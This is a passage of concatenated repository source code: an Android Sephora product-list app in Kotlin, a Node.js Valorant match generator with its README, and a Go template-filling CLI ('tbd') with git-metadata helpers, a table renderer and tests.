LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle? ): View? { return inflater.inflate(R.layout.fragment_product, container, false) } override fun onViewCreated(view: View, savedInstanceState: Bundle?) { initDataBinding() } /** * This function initializes the activity data binding. */ private fun initDataBinding() { mProductActivityBinding = DataBindingUtil.setContentView(requireActivity(), R.layout.fragment_product) val factory = ViewModelFactory(requireActivity()) mProductsActivityViewModel = ViewModelProviders.of(this, factory).get(ProductActivityViewModel::class.java) mProductActivityBinding!!.productActivityViewModel = mProductsActivityViewModel } }<file_sep>package com.heetch.technicaltest.presentation.util.schedulers.interfaces import io.reactivex.Scheduler /** * This interface represents the contract for providing schedulers used with observables. */ interface BaseSchedulerProvider { /** * This is one of the most common types of Schedulers that are used. * They are generally used for IO related stuff. Such as network requests, file system operations. * IO scheduler is backed by thread-pool. * * @return [Scheduler] */ fun io(): Scheduler /** * Returns a default, shared Scheduler instance intended for computational work. * This can be used for event-loops, processing callbacks and other computational work. * * @return [Scheduler] */ fun computation(): Scheduler /** * A Scheduler which executes actions on the Android main thread for UI handling. * * @return [Scheduler] */ fun ui(): Scheduler }<file_sep>package rk.mk.sephora.presentation.view.activities import android.content.res.Configuration import android.os.Bundle import android.view.LayoutInflater import android.view.View import android.view.ViewGroup import androidx.appcompat.app.AppCompatActivity import androidx.databinding.DataBindingUtil import androidx.fragment.app.Fragment import androidx.lifecycle.LifecycleOwner import androidx.lifecycle.ViewModelProviders import androidx.recyclerview.widget.LinearLayoutManager import androidx.recyclerview.widget.RecyclerView import com.heetch.technicaltest.presentation.viewmodel.ViewModelFactory import rk.mk.sephora.R import rk.mk.sephora.databinding.FragmentListBinding import rk.mk.sephora.domain.local_model.Product import rk.mk.sephora.presentation.adapter.ProductListAdapter import rk.mk.sephora.presentation.viewmodel.ProductsListViewModel import java.util.* /** * This class main fragment of this app. * * It extends the [AppCompatActivity] class. */ class ListFragment : Fragment(), LifecycleOwner { private var mProductListActivityBinding: FragmentListBinding? = null private var mProductsListViewModel: ProductsListViewModel? = null private lateinit var mProductsListAdapter: ProductListAdapter private var isPortrait = false override fun onCreateView( inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle? ): View? { return inflater.inflate(R.layout.fragment_list, container, false) } override fun onViewCreated(view: View, savedInstanceState: Bundle?) { isPortrait = resources.configuration.orientation == Configuration.ORIENTATION_PORTRAIT initDataBinding() setUpListOfProductsView(mProductListActivityBinding!!.rvProductList) } /** * This function initializes the activity data binding. */ private fun initDataBinding() { mProductsListAdapter = ProductListAdapter(this.context, arrayListOf(), this) //Empty mProductListActivityBinding = DataBindingUtil.setContentView(this.requireActivity(), R.layout.fragment_list) val factory = ViewModelFactory(this.requireActivity()) mProductsListViewModel = ViewModelProviders.of(this, factory).get(ProductsListViewModel::class.java) mProductListActivityBinding!!.productListViewModel = mProductsListViewModel mProductsListViewModel!!.mProductLiveData.observe( viewLifecycleOwner, productLiveDataUpdateObserver ) } /** * This function sets up the observer of the lifecycle to handle changes. */ private var productLiveDataUpdateObserver = androidx.lifecycle.Observer<ArrayList<Product>> { result -> mProductsListAdapter = mProductListActivityBinding!!.rvProductList.adapter as ProductListAdapter mProductsListAdapter.fillList(result) mProductListActivityBinding!!.rvProductList.adapter = mProductsListAdapter } /** * This function is called when the screen rotates. * * @property newConfig */ override fun onConfigurationChanged(newConfig: Configuration) { super.onConfigurationChanged(newConfig) val layoutManager = LinearLayoutManager(this.context) if (newConfig.orientation == Configuration.ORIENTATION_LANDSCAPE) { layoutManager.orientation = LinearLayoutManager.HORIZONTAL } else if (newConfig.orientation == Configuration.ORIENTATION_PORTRAIT) { layoutManager.orientation = LinearLayoutManager.VERTICAL } mProductListActivityBinding!!.rvProductList.layoutManager = layoutManager } /** * This function sets up the list of products adapter with recycler view. * It also builds the Recycler using [LinearLayoutManager] * * @property productRecyclerView */ private fun setUpListOfProductsView(productRecyclerView: RecyclerView) { productRecyclerView.adapter = mProductsListAdapter productRecyclerView.layoutManager = LinearLayoutManager(this.context) } /** * This function is called when the activity is destroyed (Lifecycle). * It stops the observation process */ override fun onDestroy() { super.onDestroy() mProductsListViewModel!!.reset() } }<file_sep>package rk.mk.sephora.domain.repository import io.reactivex.Single import rk.mk.sephora.data.remote.api.ProductInterface import rk.mk.sephora.data.remote.api.SephoraApi import rk.mk.sephora.data.remote.remote_model.ItemsRemoteModel import rk.mk.sephora.data.remote.repository.ProductRepository /** * This class represents an implementation of [ProductRepository] interface used to access and manage the products. */ class ProductRepositoryImpl : ProductRepository { override fun getProducts(): Single<ItemsRemoteModel> { return SephoraApi.retrofit.create(ProductInterface::class.java).getProducts() } }<file_sep>package rk.mk.sephora.presentation.adapter import android.content.Context import android.view.LayoutInflater import android.view.ViewGroup import androidx.databinding.DataBindingUtil import androidx.fragment.app.Fragment import androidx.recyclerview.widget.RecyclerView import rk.mk.sephora.R import rk.mk.sephora.databinding.RowProductListBinding import rk.mk.sephora.domain.local_model.Product import rk.mk.sephora.presentation.view.extra.ProductViewHolder /** * This class represents the list adapter used to show the products. * It extends the [RecyclerView.Adapter] class which builds a basic adapter for [RecyclerView]. * It builds this adapter using the [ProductViewHolder]. * * @property context The context of the application. * @property products The list of products. * * @constructor Creates a products list adapter. */ open class ProductListAdapter( open var context: Context?, open var products: ArrayList<Product>, private val fragment: Fragment ) : RecyclerView.Adapter<ProductViewHolder>() { /** * This function is used to create the view holder. * * @property parent is the [ViewGroup] holding the elements. * @property viewType . * * @return a [ProductViewHolder] */ override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ProductViewHolder { //This item represents the object binding the Product view element val itemProductBinding: RowProductListBinding = DataBindingUtil.inflate( LayoutInflater.from(context), R.layout.row_product_list, parent, false ) return ProductViewHolder(itemProductBinding) } /** * This function is used to create the view holder. * * @property holder is the [ProductViewHolder] representing a [Product]. * @property position of the product in the list of items. */ override fun onBindViewHolder(holder: ProductViewHolder, position: Int) { //Ger the product on the given position val prodcut = this.products[position] //Binds the UI to the product holder.bindProduct(prodcut, fragment) } /** * This function count the products in the given list of elements. * @return a [Int] of the element count. */ override fun getItemCount(): Int { return products.size } /** * This function fills the adapters element list. * @property products is the new list of elements. */ fun fillList(products: ArrayList<Product>) { //clears the old list clear() //fills the new list this.products.addAll(products) } /** * This function returns the product at a given position in a list. * @property position * @return [Product] */ fun getItemAtPosition(position: Int): Product { return products[position] } /** * This function empties the elements list. */ fun clear() { this.products.clear() } }
fce77895dcb35a89f0607971f941418a3b15457e
[ "Markdown", "Kotlin", "Gradle" ]
26
Kotlin
KarchoudRiadh/Sephora-App
0599c8ec34b85e0138c5b25c201319f870a4de34
b0912b186090bf8d2aa7f5caad2fcee2b98fa366
refs/heads/main
<repo_name>scama01/Valorant-Match-Generator<file_sep>/match-generator.js function callError(errorMessage) { console.error(colors.red(`Error: ${errorMessage}`)); process.exit() }; const defTable = require('ascii-table'), random = require('underscore'), colors = require('chalk'), fs = require('fs'), config = require('./config.json'), playersMain = Array.from(config.players), maps = ["Breeze", "Icebox", "Bind", "Haven", "Split", "Ascent"], teamLength = playersMain.length / 2, matches = (config.matches > maps.length) ? callError(`You can't make more than ${maps.length} matches due to how many maps are defined.`) : config.matches; var fullText = "" + new defTable("").addRow("- Valorant Match Generator -").setBorder("•"); if (playersMain.length === 0 || playersMain === undefined) { callError("There are no players defined in config.json.") } else if (config === {} || config === undefined) { callError("config.json file is empty.") }; for (var match = 1; match <= matches; match++) { const players = Array.from(playersMain); var mapIndex = Math.floor(Math.random() * maps.length), tableMatch = new defTable(`Match ${match}`).addRow(`Map`, `${maps[mapIndex]}`).addRow("First Defending", `Team ${random.random(1, 2)}`), table2 = new defTable("Team 1"), table3 = new defTable("Team 2"); maps.splice(mapIndex, 1); for (var i = 1; i <= teamLength; i++) { var playerIndex = Math.floor(Math.random() * players.length), randomPlayer = players[playerIndex]; table2.addRow(i, randomPlayer); players.splice(playerIndex, 1) }; for (var i = 1; i <= teamLength; i++) { var playerIndex = Math.floor(Math.random() * players.length), randomPlayer = players[playerIndex]; table3.addRow(i, randomPlayer); players.splice(playerIndex, 1) }; fullText += `\n\n${tableMatch.toString()}` + `\n${table2.toString()}` + `\n${table3.toString()}` }; fs.writeFile((config.outputFile || "matches.txt"), fullText, function(err, result) { if (err) { callError(err) } else { console.log(`\n${colors.red(new defTable("").addRow("- Valorant Match Generator -").setBorder("•").toString())}\n\n${colors.greenBright(`Matches generated succesfully in ${colors.green(config.outputFile || "matches.txt")}`)}`) } }) <file_sep>/README.md # Valorant Match Generator This is just a little thing i made for generating custom game setups when i was bored :P ## What does this do? This program generates match setups with random teams and maps and outputs them to a text file. Example: ![Example Image](https://i.imgur.com/pnjj8S4.png) ## How to download and use this program ## **You will need Node.JS to use this program** ### **If you do not have it install it from https://nodejs.org/** --- #### How to download - Scroll all the way to the top of the page and click on the latest release. - Click on `Source code (zip)` and download it. - Extract the files in a folder. - Open a command prompt in the folder where you installed the files. - Run `npm i` - Try running `node .` and if everything was done correctly the program should run without a `MODULE_NOT_FOUND` error. --- #### How to use When you first run the program you might see this: ![Example Image](https://i.imgur.com/LxQaR14.png) This is happening beacause we have not defined any players in our `config.json` file. When you open the config.json file you should see this: ```JSON { "players": [ ], "matches": 1, "outputFile": "matches.txt" } ``` - `"players"` is the list where we define our players - `"matches"` is the number of matches we want to generate - `"outputFile"` is the name of the file where we want to output our generated matches You can define players by writing the players names in quotes and separating them by commas. Example: ```JSON { "players": [ "Player1", "Player2", "Player3", "Player4", "Player5", "Player6" ], "matches": 1, "outputFile": "matches.txt" } ``` Now if you try to run the program again (with `node .`) you should get an output like this: ![Example Image](https://i.imgur.com/RVMDN88.png) And if you look inside the folder where you ran the file you should see a file named `matches.txt` generated. If you open it you should see the match info generated in there. ### And that's pretty much it --- #### Notes - I will try to find a way to download the program without all this hassle in the future *(if people actually want to use this)* - The last player defined cannot have a comma after the quote. This will cause an error. - As i said you can change the number of matches and the output file name in config.json - I will probably make a CS:GO version if people are intrested as it is not that hard (i just gotta change the name and the maps :P) - If you have any more questions message me on Discord at `atorea#1921`
f7076c122d133a853369001193f97b0d139b5435
[ "JavaScript", "Markdown" ]
2
JavaScript
scama01/Valorant-Match-Generator
ea9cc979220c5276b36570409858cf21f543e5b9
d7c69eb3fa9ec6eab381a342c843f2e91193db31
refs/heads/main
<file_sep>package vcs import ( "fmt" "os" "path/filepath" "strings" "github.com/go-git/go-git/v5" "github.com/go-git/go-git/v5/plumbing" "github.com/go-git/go-git/v5/plumbing/object" "github.com/pkg/errors" gitUrls "github.com/whilp/git-urls" ) func InitGitRepo(path string, isBare bool) (*git.Repository, error) { repo, err := git.PlainInit(path, true) if err != nil { if err == git.ErrRepositoryAlreadyExists { return git.PlainOpen(path) } return nil, err } return repo, nil } func OpenGitRepo(path string) (*git.Repository, error) { path, err := DetectGitPath(path) if err != nil { return nil, err } repo, err := git.PlainOpen(path) if err != nil { return nil, errors.Wrap(err, fmt.Sprintf("error opening repository '%s'", path)) } return repo, nil } func CurrentBranchFromGitRepo(repository *git.Repository) (string, error) { branchRefs, err := repository.Branches() if err != nil { return "", err } headRef, err := repository.Head() if err != nil { return "", err } var currentBranchName string err = branchRefs.ForEach(func(branchRef *plumbing.Reference) error { if branchRef.Hash() == headRef.Hash() { currentBranchName = branchRef.Name().String() return nil } return nil }) if err != nil { return "", err } return currentBranchName, nil } func CurrentCommitFromGitRepo(repository *git.Repository) (string, error) { headRef, err := repository.Head() if err != nil { return "", err } headSha := headRef.Hash().String() return headSha, nil } func LatestTagFromGitRepo(repository *git.Repository) (string, error) { tagRefs, err := repository.Tags() if err != nil { return "", err } var latestTagCommit *object.Commit var latestTagName string err = tagRefs.ForEach(func(tagRef *plumbing.Reference) error { revision := plumbing.Revision(tagRef.Name().String()) tagCommitHash, err := repository.ResolveRevision(revision) if err != nil { return err } commit, err := repository.CommitObject(*tagCommitHash) if err != nil { return err } if latestTagCommit == nil { latestTagCommit = commit latestTagName = tagRef.Name().String() } if commit.Committer.When.After(latestTagCommit.Committer.When) { latestTagCommit = commit latestTagName = tagRef.Name().String() } return nil }) if err != nil { return "", err } return latestTagName, nil } func GitRepoURL(repo *git.Repository) (string, error) { cfg, err := repo.Config() if err != nil { return "", err } var res string for k, v := range cfg.Remotes { if k == "origin" && len(v.URLs) > 0 { u, err := gitUrls.Parse(v.URLs[0]) if err != nil { return "", err } res = u.String() if strings.HasPrefix(u.Scheme, "ssh") { var sb strings.Builder sb.WriteString("https://") sb.WriteString(u.Host) sb.WriteString("/") sb.WriteString(u.Path) res = strings.TrimSuffix(sb.String(), ".git") } break } } return res, nil } func DetectGitPath(path string) (string, error) { // normalize the path path, err := filepath.Abs(path) if err != nil { return "", err } for { fi, err := os.Stat(filepath.Join(path, ".git")) if err == nil { if !fi.IsDir() { return "", fmt.Errorf(".git exist but '%s' is not a directory", path) } return filepath.Join(path, ".git"), nil } if !os.IsNotExist(err) { // unknown error return "", err } // detect bare repo ok, err := IsGitDir(path) if err != nil { return "", err } if ok { return path, nil } if parent := filepath.Dir(path); parent == path { return "", fmt.Errorf(".git not found in '%s'", path) } else { path = parent } } } func IsGitDir(path string) (bool, error) { markers := []string{"HEAD", "objects", "refs"} for _, marker := range markers { _, err := os.Stat(filepath.Join(path, marker)) if err == nil { continue } if !os.IsNotExist(err) { // unknown error return false, err } else { return false, nil } } return true, nil } <file_sep>package cmd import ( "os" "github.com/lucasepe/tbd/pkg/data" "github.com/lucasepe/tbd/pkg/template" ) type MergeCmd struct { Template string `arg:"positional,required" placeholder:"TEMPLATE"` EnvFiles []string `arg:"positional" placeholder:"ENV_FILE"` } func (c *MergeCmd) Run() error { meta, err := builtinVars() if err != nil { return err } if err := userVars(meta, c.EnvFiles...); err != nil { return err } const maxFileSize int64 = 512 * 1000 tpl, err := data.Fetch(c.Template, maxFileSize) if err != nil { return err } env := make(map[string]interface{}) for k, v := range meta { env[k] = v } _, err = template.ExecuteStd(string(tpl), "{{", "}}", os.Stdout, env) return err } <file_sep>package cmd import ( "fmt" "os" "github.com/alexflint/go-arg" ) const ( description = "A really simple way to create text templates with placeholders." banner = `╔╦╗ ╔╗ ╔╦╗ ║ ╠╩╗ ║║ ╩ o ╚═╝ e ═╩╝ efined` ) type App struct { Merge *MergeCmd `arg:"subcommand:merge" help:"combines a template with one or more env files"` Marks *MarksCmd `arg:"subcommand:marks" help:"shows all placeholders defined in the specified template"` Vars *VarsCmd `arg:"subcommand:vars" help:"shows all built-in (and eventually user defined) variables"` } func (App) Description() string { return fmt.Sprintf("%s\n%s\n", banner, description) } func Run() error { var app App p := arg.MustParse(&app) switch { case app.Vars != nil: return app.Vars.Run() case app.Marks != nil: return app.Marks.Run() case app.Merge != nil: return app.Merge.Run() default: p.WriteHelp(os.Stdout) } return nil } <file_sep>package vcs import ( "net/url" "strings" ) const ( RepoCommit = "REPO_COMMIT" RepoTag = "REPO_TAG" RepoTagClean = "REPO_TAG_CLEAN" RepoURL = "REPO_URL" RepoHost = "REPO_HOST" RepoName = "REPO_NAME" RepoRoot = "REPO_ROOT" ) func GitRepoMetadata(path string, meta map[string]string) error { repo, err := OpenGitRepo(path) if err != nil { return err } commit, err := CurrentCommitFromGitRepo(repo) if err != nil { return err } meta[RepoCommit] = commit tag, err := LatestTagFromGitRepo(repo) if err != nil { return err } idx := strings.LastIndex(tag, "/") if idx != -1 { tag = tag[idx+1:] } meta[RepoTag] = tag if strings.HasPrefix(tag, "v") { meta[RepoTagClean] = tag[1:] } repoURL, err := GitRepoURL(repo) if err != nil { return err } meta[RepoURL] = repoURL if u, err := url.Parse(repoURL); err == nil { idx := strings.Index(u.Path[1:], "/") if idx != -1 { meta[RepoRoot] = u.Path[1 : idx+1] } meta[RepoHost] = u.Host } meta[RepoName] = repoURL[strings.LastIndex(repoURL, "/")+1:] return nil } <file_sep>package vcs import ( "io/ioutil" "os" "path" "path/filepath" "testing" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func TestNewGitRepo(t *testing.T) { // Plain plainRoot, err := ioutil.TempDir("", "") require.NoError(t, err) defer os.RemoveAll(plainRoot) _, err = InitGitRepo(plainRoot, false) require.NoError(t, err) plainGitDir := filepath.Join(plainRoot, ".git") tests := []struct { inPath string outPath string err bool }{ // errors {"/", "", true}, // parent dir of a repo {filepath.Dir(plainRoot), "", true}, // Plain repo {plainRoot, plainGitDir, false}, {plainGitDir, plainGitDir, false}, {path.Join(plainGitDir, "objects"), plainGitDir, false}, } for i, tc := range tests { dir, err := DetectGitPath(tc.inPath) if tc.err { require.Error(t, err, i) } _, err = OpenGitRepo(tc.inPath) if tc.err { require.Error(t, err, i) } else { require.NoError(t, err, i) assert.Equal(t, filepath.ToSlash(tc.outPath), filepath.Join(filepath.ToSlash(dir), ".git"), i) } } } <file_sep>package cmd import ( "fmt" "github.com/lucasepe/tbd/pkg/data" "github.com/lucasepe/tbd/pkg/template" ) type MarksCmd struct { Template string `arg:"positional,required" placeholder:"TEMPLATE"` } func (c *MarksCmd) Run() error { const maxFileSize int64 = 512 * 1000 tpl, err := data.Fetch(c.Template, maxFileSize) if err != nil { return err } list, _ := template.Marks(string(tpl), "{{", "}}") for _, x := range list { fmt.Println(x) } return nil } <file_sep>package cmd import ( "fmt" "sort" "github.com/lucasepe/tbd/pkg/table" ) type VarsCmd struct { EnvFiles []string `arg:"positional" placeholder:"ENV_FILE"` } func (c *VarsCmd) Run() error { meta, err := builtinVars() if err != nil { return err } if err := userVars(meta, c.EnvFiles...); err != nil { return err } keys := make([]string, 0, len(meta)) for k := range meta { keys = append(keys, k) } sort.Strings(keys) tbl := &table.TextTable{} tbl.SetHeader("Label", "Value") for _, k := range keys { tbl.AddRow(k, meta[k]) } fmt.Println(tbl.Draw()) return nil } <file_sep>module github.com/lucasepe/tbd go 1.16 require ( github.com/alexflint/go-arg v1.4.2 github.com/go-git/go-git/v5 v5.4.2 github.com/google/go-cmp v0.5.5 github.com/mattn/go-runewidth v0.0.13 github.com/pkg/errors v0.9.1 github.com/stretchr/testify v1.7.0 github.com/whilp/git-urls v1.0.0 ) <file_sep>package template import ( "bytes" "errors" "io" "testing" "github.com/google/go-cmp/cmp" ) func TestMarks(t *testing.T) { got, err := Marks("{{ one }} - {{two}} and {{ three }}", "{{", "}}") if err != nil { t.Fatal(err) } want := []string{"one", "two", "three"} if !cmp.Equal(got, want) { t.Fatalf("got [%v] wants [%v]", got, want) } } func TestExecuteFunc(t *testing.T) { testExecuteFunc(t, "", "") testExecuteFunc(t, "a", "a") testExecuteFunc(t, "abc", "abc") testExecuteFunc(t, "{foo}", "xxxx") testExecuteFunc(t, "a{foo}", "axxxx") testExecuteFunc(t, "{foo}a", "xxxxa") testExecuteFunc(t, "a{foo}bc", "axxxxbc") testExecuteFunc(t, "{foo}{foo}", "xxxxxxxx") testExecuteFunc(t, "{foo}bar{foo}", "xxxxbarxxxx") // unclosed tag testExecuteFunc(t, "{unclosed", "{unclosed") testExecuteFunc(t, "{{unclosed", "{{unclosed") testExecuteFunc(t, "{un{closed", "{un{closed") // test unknown tag testExecuteFunc(t, "{unknown}", "zz") testExecuteFunc(t, "{foo}q{unexpected}{missing}bar{foo}", "xxxxqzzzzbarxxxx") } func testExecuteFunc(t *testing.T, template, expectedOutput string) { var bb bytes.Buffer ExecuteFunc(template, "{", "}", &bb, func(w io.Writer, tag string) (int, error) { if tag == "foo" { return w.Write([]byte("xxxx")) } return w.Write([]byte("zz")) }) output := string(bb.Bytes()) if output != expectedOutput { t.Fatalf("unexpected output for template=%q: %q. Expected %q", template, output, expectedOutput) } } func TestExecute(t *testing.T) { testExecute(t, "", "") testExecute(t, "a", "a") testExecute(t, "abc", "abc") testExecute(t, "{foo}", "xxxx") testExecute(t, "a{foo}", "axxxx") testExecute(t, "{foo}a", "xxxxa") testExecute(t, "a{foo}bc", "axxxxbc") testExecute(t, "{foo}{foo}", "xxxxxxxx") testExecute(t, "{foo}bar{foo}", "xxxxbarxxxx") // unclosed tag testExecute(t, "{unclosed", "{unclosed") testExecute(t, "{{unclosed", "{{unclosed") testExecute(t, "{un{closed", "{un{closed") // test unknown tag testExecute(t, "{unknown}", "") testExecute(t, "{foo}q{unexpected}{missing}bar{foo}", "xxxxqbarxxxx") } func testExecute(t *testing.T, template, expectedOutput string) { var bb bytes.Buffer Execute(template, "{", "}", &bb, map[string]interface{}{"foo": "xxxx"}) output := string(bb.Bytes()) if output != expectedOutput { t.Fatalf("unexpected output for template=%q: %q. Expected %q", template, output, expectedOutput) } } func TestExecuteStd(t *testing.T) { testExecuteStd(t, "", "") testExecuteStd(t, "a", "a") testExecuteStd(t, "abc", "abc") testExecuteStd(t, "{foo}", "xxxx") testExecuteStd(t, "a{foo}", "axxxx") testExecuteStd(t, "{foo}a", "xxxxa") testExecuteStd(t, "a{foo}bc", "axxxxbc") testExecuteStd(t, "{foo}{foo}", "xxxxxxxx") testExecuteStd(t, "{foo}bar{foo}", "xxxxbarxxxx") // unclosed tag testExecuteStd(t, "{unclosed", "{unclosed") testExecuteStd(t, "{{unclosed", "{{unclosed") testExecuteStd(t, "{un{closed", "{un{closed") // test unknown tag testExecuteStd(t, "{unknown}", "{unknown}") testExecuteStd(t, "{foo}q{unexpected}{missing}bar{foo}", "xxxxq{unexpected}{missing}barxxxx") } func testExecuteStd(t *testing.T, template, expectedOutput string) { var bb bytes.Buffer ExecuteStd(template, "{", "}", &bb, map[string]interface{}{"foo": "xxxx"}) output := string(bb.Bytes()) if output != expectedOutput { t.Fatalf("unexpected output for template=%q: %q. Expected %q", template, output, expectedOutput) } } func TestExecuteString(t *testing.T) { testExecuteString(t, "", "") testExecuteString(t, "a", "a") testExecuteString(t, "abc", "abc") testExecuteString(t, "{foo}", "xxxx") testExecuteString(t, "a{foo}", "axxxx") testExecuteString(t, "{foo}a", "xxxxa") testExecuteString(t, "a{foo}bc", "axxxxbc") testExecuteString(t, "{foo}{foo}", "xxxxxxxx") testExecuteString(t, "{foo}bar{foo}", "xxxxbarxxxx") // unclosed tag testExecuteString(t, "{unclosed", "{unclosed") testExecuteString(t, "{{unclosed", "{{unclosed") testExecuteString(t, "{un{closed", "{un{closed") // test unknown tag testExecuteString(t, "{unknown}", "") testExecuteString(t, "{foo}q{unexpected}{missing}bar{foo}", "xxxxqbarxxxx") } func testExecuteString(t *testing.T, template, expectedOutput string) { output, err := ExecuteString(template, "{", "}", map[string]interface{}{"foo": "xxxx"}) if err != nil { t.Fatal(err) } if output != expectedOutput { t.Fatalf("unexpected output for template=%q: %q. Expected %q", template, output, expectedOutput) } } func TestExecuteStringStd(t *testing.T) { testExecuteStringStd(t, "", "") testExecuteStringStd(t, "a", "a") testExecuteStringStd(t, "abc", "abc") testExecuteStringStd(t, "{foo}", "xxxx") testExecuteStringStd(t, "a{foo}", "axxxx") testExecuteStringStd(t, "{foo}a", "xxxxa") testExecuteStringStd(t, "a{foo}bc", "axxxxbc") testExecuteStringStd(t, "{foo}{foo}", "xxxxxxxx") testExecuteStringStd(t, "{foo}bar{foo}", "xxxxbarxxxx") // unclosed tag testExecuteStringStd(t, "{unclosed", "{unclosed") testExecuteStringStd(t, "{{unclosed", "{{unclosed") testExecuteStringStd(t, "{un{closed", "{un{closed") // test unknown tag testExecuteStringStd(t, "{unknown}", "{unknown}") testExecuteStringStd(t, "{foo}q{unexpected}{missing}bar{foo}", "xxxxq{unexpected}{missing}barxxxx") } func testExecuteStringStd(t *testing.T, template, expectedOutput string) { output, err := ExecuteStringStd(template, "{", "}", map[string]interface{}{"foo": "xxxx"}) if err != nil { t.Fatal(err) } if output != expectedOutput { t.Fatalf("unexpected output for template=%q: %q. Expected %q", template, output, expectedOutput) } } func expectPanic(t *testing.T, f func()) { defer func() { if r := recover(); r == nil { t.Fatalf("missing panic") } }() f() } func TestExecuteFuncStringWithErr(t *testing.T) { var expectErr = errors.New("test111") result, err := ExecuteFuncString(`{a} is {b}'s best friend`, "{", "}", func(w io.Writer, tag string) (int, error) { if tag == "a" { return w.Write([]byte("Alice")) } return 0, expectErr }) if err != expectErr { t.Fatalf("error must be the same as the error returned from f, expect: %s, actual: %s", expectErr, err) } if result != "" { t.Fatalf("result should be an empty string if error occurred") } result, err = ExecuteFuncString(`{a} is {b}'s best friend`, "{", "}", func(w io.Writer, tag string) (int, error) { if tag == "a" { return w.Write([]byte("Alice")) } return w.Write([]byte("Bob")) }) if err != nil { t.Fatalf("should success but found err: %s", err) } if result != "Alice is Bob's best friend" { t.Fatalf("expect: %s, but: %s", "Alice is Bob's best friend", result) } } <file_sep>package data import ( "io" "io/ioutil" "net/http" "os" "strings" ) // Fetch gets the bytes at the specified URI. // The URI can be remote (http) or local. // if 'limit' is greater then zero, fetch stops // with EOF after 'limit' bytes. func Fetch(uri string, limit int64) ([]byte, error) { if strings.HasPrefix(uri, "http") { return FetchFromURI(uri, limit) } return FetchFromFile(uri, limit) } // FetchFromURI fetch data (with limit) from an HTTP URL. // if 'limit' is greater then zero, fetch stops // with EOF after 'limit' bytes. func FetchFromURI(uri string, limit int64) ([]byte, error) { res, err := http.Get(uri) if err != nil { return nil, err } defer res.Body.Close() if limit > 0 { return ioutil.ReadAll(io.LimitReader(res.Body, limit)) } return ioutil.ReadAll(res.Body) } // FetchFromFile fetch data (with limit) from an file. // if 'limit' is greater then zero, fetch stops // with EOF after 'limit' bytes. func FetchFromFile(filename string, limit int64) ([]byte, error) { fp, err := os.Open(filename) if err != nil { return nil, err } defer fp.Close() if limit > 0 { return ioutil.ReadAll(io.LimitReader(fp, limit)) } return ioutil.ReadAll(fp) } <file_sep>package table import ( "testing" ) // // Public Method // func TestDraw(t *testing.T) { tbl := &TextTable{} expected := `+------+----------+ | 名前 | ふりがな | +------+----------+ | foo | ふう | | hoge | ほげ | +------+----------+` tbl.SetHeader("名前", "ふりがな") tbl.AddRow("foo", "ふう") tbl.AddRow("hoge", "ほげ") got := tbl.Draw() if got != expected { t.Errorf("[got]\n%s\n\n[expected]\n%s\n", got, expected) } } func TestSetHeader(t *testing.T) { tbl := &TextTable{} err := tbl.SetHeader() if err == nil { t.Errorf("SetHeader should take one argument at least") } } func TestAddRow(t *testing.T) { tbl := &TextTable{} tbl.SetHeader("name", "age") err := tbl.AddRow("bob", "30", "182") if err == nil { t.Errorf("row length should be smaller than equal header length") } err = tbl.AddRow() if err == nil { t.Errorf("AddRow should take one argument at least") } } // // Private Function/Methods // func Test_calcMaxHeight(t *testing.T) { input := []string{ "hello", "apple\nmelon\norange", "1\n2", } got := calcMaxHeight(input) if got != 3 { t.Errorf("calcMaxHeight(%s) != 3(got=%d)", input, got) } } func Test_decideAlignment(t *testing.T) { got := decideAlignment("102948") if got != ALIGN_RIGHT { t.Errorf("decimal string of integer alighment is 'right'") } got = decideAlignment("01234") if got != ALIGN_RIGHT { t.Errorf("octal string of integer alighment is 'right'") } got = decideAlignment("ff") if got != ALIGN_RIGHT { t.Errorf("hex string without '0x' of integer alighment is 'right'") } got = decideAlignment("0xaabbccdd") if got != ALIGN_RIGHT { t.Errorf("hex string of integer alighment is 'right'") } got = decideAlignment("1.245") if got != ALIGN_RIGHT { t.Errorf("string of float alighment is 'right'") } got = decideAlignment("foo") if got != ALIGN_LEFT { t.Errorf("string alighment is 'left'") } } func Test_stringsToTableRow(t *testing.T) { input := []string{ "apple", "orange\nmelon\ngrape\nnuts", "peach\nbanana", } tableRows := stringsToTableRow(input) if len(tableRows) != 4 { t.Errorf("returned table height=%d(Expected 4)", len(tableRows)) } for i, row := range tableRows { if len(row.cellUnits) != len(input) { t.Errorf("width of tableRows[%d]=%d(Expected %d)", i, len(row.cellUnits), len(input)) } } } func Test_borderString(t *testing.T) { tbl := new(TextTable) tbl.maxWidths = []int{4, 5, 3, 2} expected := "+------+-------+-----+----+" border := tbl.borderString() if border != expected { t.Errorf("got %s(Expected %s)", border, expected) } tbl.maxWidths = []int{0} expected = "+--+" border = tbl.borderString() if border != expected { t.Errorf("got %s(Expected %s)", border, expected) } } func Test_formatCellUnit(t *testing.T) { cell := cellUnit{content: "apple", alignment: ALIGN_RIGHT} expected := " apple " got := formatCellUnit(&cell, 5) if got != expected { t.Errorf("got '%s'(Expected '%s')", got, expected) } expected = " apple " got = formatCellUnit(&cell, 10) if got != expected { t.Errorf("got '%s'(Expected '%s')", got, expected) } cellLeft := cellUnit{content: "orange", alignment: ALIGN_LEFT} expected = " orange " got = formatCellUnit(&cellLeft, 6) if got != expected { t.Errorf("got '%s'(Expected '%s')", got, expected) } expected = " orange " got = formatCellUnit(&cellLeft, 10) if got != expected { t.Errorf("got '%s'(Expected '%s')", got, expected) } } func Test_generateRowString(t *testing.T) { tbl := TextTable{} tbl.maxWidths = []int{8, 5} cells := []*cellUnit{ {content: "apple", alignment: ALIGN_RIGHT}, {content: "melon", alignment: ALIGN_RIGHT}, } row := tableRow{cellUnits: cells, kind: ROW_CELLS} got := tbl.generateRowString(&row) expected := "| apple | melon |" if got != expected { t.Errorf("got '%s'(Expected '%s')", got, expected) } } <file_sep>package cmd import ( "bytes" "os" "runtime" "time" "github.com/lucasepe/tbd/pkg/data" "github.com/lucasepe/tbd/pkg/dotenv" "github.com/lucasepe/tbd/pkg/vcs" ) const ( TimeStamp = "TIMESTAMP" OS = "OS" ARCH = "ARCH" ) func builtinVars() (map[string]string, error) { meta := map[string]string{} meta[TimeStamp] = time.Now().Local().UTC().Format(time.RFC3339) meta[OS] = runtime.GOOS meta[ARCH] = runtime.GOARCH if cwd, err := os.Getwd(); err == nil { vcs.GitRepoMetadata(cwd, meta) } return meta, nil } func userVars(vars map[string]string, envfile ...string) error { if len(envfile) <= 0 { return nil } for _, el := range envfile { const maxFileSize int64 = 512 * 1000 buf, err := data.Fetch(el, 